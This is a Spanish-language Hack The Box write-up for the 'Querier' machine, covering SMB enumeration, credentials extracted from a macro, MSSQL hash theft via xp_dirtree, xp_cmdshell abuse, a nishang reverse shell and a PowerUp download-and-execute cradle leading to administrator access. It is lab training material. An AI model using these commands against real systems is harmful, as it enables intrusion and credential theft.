Writeup: Querier
Plataforma: HTB
Dificultad: Media
Fecha de resolución: 28/07/2025
Descripción
Querier es una maquina que permite obtener recursos via smb, estos ayudan a obtener informacion valiosa para obtener acceso a la DB que posteriormente permite la ejecucion remota de comandos. Para la escalada de privilegios basta con utilizar PowerUp.ps1 que ayuda a la identificacion de credenciales del usuario admin.
Temas
• Network and Port Scanning
• Macro Inspection - Olevba
• MSSQL Hash Stealing (XP_DIRTREE)
• XP_CMDSHELL (MSSQL) Abuse
• PowerUp.ps1 Enumeration - Administrator Credentials Discovery
• Svchost.exe Service Abuse with InvokeServiceAbuse (Possible Privilege Escalation)
• RDP Service Activation with NetExec - RDP Intrusion
Reconocimiento
Inciamos comprobando si se tiene conectividad con la maquina
ping -c 1 10.10.10.125
Enumeración
Enumeracion de puertos y servicios
nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.125 -oN Ports
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -sCV -oN Portss 10.10.10.125
Tenemos bastantes servicios pero iniciaremos identificando posibles recursos compartidos mediante el protocolo SMB
smbmap -H 10.10.10.125 -u 'null' -p ''
Tras la enumeracion se detecto que se esta compartiendo para todos el archivo currency volume report.xlsm, por lo cual, se procedera a realizar una descarga de este para su posterior inspeccion.
smbmap -H 10.10.10.125 -u 'null' -p '' --download 'Reports/Currency Volume Report.xlsm'
Revisando el documento no tiene nada observable, se utilizara la herramienta olevba que se instala de la siguiente manera pip3 install oletools. Vemos que el documento tiene informacion interesante
olevba Report.xlsm
Tenemos credenciales de un usuario que gestiona la base de datos con el nombre reporting:PcwTWTHRwryjc$c6, se intentara realizar una conexion al servicio mssql con nexexec
Se utilizara la herramienta impacket-mssqclient que nos permitira ingresar a la base de datos.
impacket-mssqlclient WORKGROUP/reporting@10.10.10.125 -windows-auth
Explotación
Despues de realizar enumeracion con la herramienta mssqlclient.py, el usuario reporting no puede ejecutar comando con xp_cmdshell ni cambiar las configuraciones avanzadas para habilitar esta funcion. Por lo cual intentares utilizar xp_dirtree para intentar extraer el hash del usuario.
para la siguiente ejecucion, montare un servidor con smbclient.py y me pondre en escucha de autenticaciones smb para obtener un hash de posibles usuarios existentes.
impacket-smbserver smb $(pwd) -smb2support
y desde la maquina victima intentare solicitar un recurso a mi servidor de atacante que me permita obtener el hash de autenticacion.
exec xp_dirtree "\\10.10.10.10.\smb\"
Revisando mi servidor montado con smbserver, se logra obtener el hash del usuario mssql-svc
Tenemos una autenticacion como el usuario mssql-svc y su hash, intentare romper el hash y obtener las credenciales del usuario detectado.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Comprobamos credenciales
netexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568'
Estas son conrrectas pero no tenemos el Pwn3d!, por lo cual intentaremos autenticarnos con este nuevo usuario a la base de datos y obtener la ejecucion de comandos con xp_cmdshell.
Despues de intentar ejecutar comandos, vemos que este usuario si puede gestionar las cofiguraciones avanzadas que permiten activar xp_cmdshell y obtenemos la ejecucion de comandos.
Utilizaremos nishang Invoke-PowerShellTCP.ps1, me permita interactuar con la maquina fluidamente.
Vamos a obtener esta utilidad del repositorio nishag
wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Una ves que lo tengamos en maquina atacante, utilizare una funcion que la colocare al final del script que es “Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444”, modificare la ip y el puerto por mi purto e ip atacante.
Me montare un servidor para compartir el recurso y desde la maquina victima lo solicitare, una ves solicitado se ejecutara y me mandara una reverse shell a mi maquina de atacante.
Escalada de Privilegios
Utilizaremos PowerUp para realizar un mapeo de posibles formas de escalar privilegios.
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.8/PowerUp.ps1')
Invoke-AllChecks
Detectamos credenciales del usuario administrator, realizamos la comprobacion.
impacket-psexec WORKWORUP/administrator:'MyUnclesAreMarioAndLuigi!!1!'@'10.10.10.125'
Pwned!